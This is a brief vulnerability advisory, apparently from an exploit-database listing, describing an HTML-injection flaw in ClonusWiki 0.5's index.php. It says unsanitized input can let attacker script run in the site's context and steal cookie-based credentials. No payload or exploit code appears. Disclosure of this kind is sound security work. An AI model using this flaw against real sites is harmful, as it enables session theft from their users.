ClonusWiki 0.5 Index.PHP HTML Injection Vulnerability. Webapps exploit for php platform

ClonusWiki is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

This issue is reported to affect ClonusWiki 0.5.
